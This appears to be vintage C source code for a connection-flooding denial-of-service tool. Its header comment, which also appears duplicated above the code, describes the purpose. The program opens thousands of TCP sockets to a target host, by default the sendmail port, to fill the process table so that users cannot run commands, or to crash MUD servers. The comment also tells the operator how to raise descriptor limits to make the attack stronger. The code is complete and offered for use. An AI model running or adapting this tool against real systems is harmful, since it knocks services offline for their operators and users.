This little program opens as many sockets with a remote host as can be supported by both. It catches ^C and kill commands to shut down cleanly by closing all open connections before exiting. Often, a remote workstation can be brought to its knees by saturating its process table via multiple invocations of sendmail. That's why port 25 (the sendmail port) is the default. If the target's process table (set when the target kernel was created) is filled, users will be unable to execute any shell commands. Many MUDs also crash when the number of sockets they have open exceeds a certain number. This program will put stress on MUDs by testing their limits. If a limit is reached, the MUD will either crash or will refuse to let new users log in. * The program is incomplete, in that it doesn't check for socket timeouts and subsequently reuse timed out sockets. That means the program can only keep a remote host / mud locked up until it exhausts its own available new sockets, or until it has reached MAX_DESCRIPTORS remote connections as set by the #define statement. * If the local machine starts issuing error messages, then the program has failed to saturate the remote host and has instead reached the limits of the local machine. Use ^C or the kill command to terminate it. If you are knowledgable about rebuilding kernels and have access to the root account, you can build a special kernel that will allow you to reach a much larger number of open sockets.
b17774a047da8f2dda8f5acbd018f5ca39bc608c82b3694b31d3ff473671c675
/* This little program opens as many sockets with a remote
* host as can be supported by both. It catches ^C and kill
* commands to shut down cleanly by closing all open connections
* before exiting. Often, a remote workstation can be brought
* to its knees by saturating its process table via multiple
* invocations of sendmail. That's why port 25 (the sendmail
* port) is the default. If the target's process table (set
* when the target kernel was created) is filled, users will be
* unable to execute any shell commands. Many MUDs also crash
* when the number of sockets they have open exceeds a certain
* number. This program will put stress on MUDs by testing
* their limits. If a limit is reached, the MUD will either
* crash or will refuse to let new users log in.
*
* The program is incomplete, in that it doesn't check for
* socket timeouts and subsequently reuse timed out sockets.
* That means the program can only keep a remote host / mud
* locked up until it exhausts its own available new sockets,
* or until it has reached MAX_DESCRIPTORS remote connections
* as set by the #define statement.
*
* If the local machine starts issuing error messages, then
* the program has failed to saturate the remote host and has
* instead reached the limits of the local machine. Use ^C or
* the kill command to terminate it. If you are knowledgable
* about rebuilding kernels and have access to the root account,
* you can build a special kernel that will allow you to reach
* a much larger number of open sockets.
*
* Before running this, be sure to issue the c shell command:
* 'limit descriptors nnn'
* where nnn is the largest descriptor limit, as revealed
* by the 'limit -h' command if applicable. Some unixes may
* not have a descriptors category at all.
*
* This program has been tested with SunOS version 4.1.3, Irix
* version 5, and with Linux.
*
* You don't need to be a privileged user to run it.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h> /* needed for Irix */
#include <unistd.h>
#include <sys/types.h>
#include <netinet/in.h>
/* #include <arpa/inet.h> /* needed for Irix */
#include <sys/socket.h>
#include <signal.h>
#define MAX_DESCRIPTORS 3500
int i, fd[MAX_DESCRIPTORS];
void CatchTERM()
{
printf("\nCaught sig TERM or INT! Cleaning up.\n");
for( ; i>=0; i--) {
if( shutdown( fd[i], 2 ) < 0 ) perror("shutdown");
printf("Closing %i\n", i);
if( close( fd[i] ) ) perror("close");
}
printf("Done. Committing suicide. ARRGH!\n");
exit (1);
}
main(argc,argv)
int argc;
char *argv[];
{
int opt,pid;
struct sockaddr_in sin[MAX_DESCRIPTORS];
char buf[2];
if( argc < 2 ) {
printf("Usage:\t%s address [port]\n", argv[0] );
printf("\twhere address is a numeric internet address\n");
printf("\tand port is an optional port number
(default=25)\n");
exit (0);
}
pid = getpid();
opt = 1;
signal( SIGTERM, CatchTERM);
signal( SIGINT, CatchTERM);
for ( i=0; i<MAX_DESCRIPTORS; i++) {
fd[i] = socket(AF_INET, SOCK_STREAM, 0);
if ( fd[i] < 0 ) { printf("socket %i failed\n",i);
perror("socket");
}
else {
/* Someday, the following call will be used to allow socket reuse ... */
/* if ( setsockopt( fd[i], SOL_SOCKET, SO_REUSEADDR, ( char *) &opt,
* sizeof(opt)) < 0 ) {
* printf("setsockopt %i failed\n",i); sleep(10); }
*/
bzero((char *)&sin[i], sizeof(sin[0]));
sin[i].sin_family = AF_INET;
sin[i].sin_addr.s_addr = inet_addr(argv[1]);
sin[i].sin_port = htons((argc > 2) ? atoi(argv[2]) : 25);
if( connect(fd[i], (struct sockaddr *)&sin[i], sizeof(sin[0])) <
0) {
printf("connect %i failed.\n",i);
perror("connect");
break;
}
read(fd[i], buf, 1);
printf("pid: %i, desc %i\n", pid, i);
}
}
i--;
printf("closing connection.\n");
for ( ; i>=0; i-- ) { if( shutdown( fd[i], 2) <0) perror("shutdown");
if( close(fd[i]) ) perror("close");
else printf("closed %i\n", i);
}
}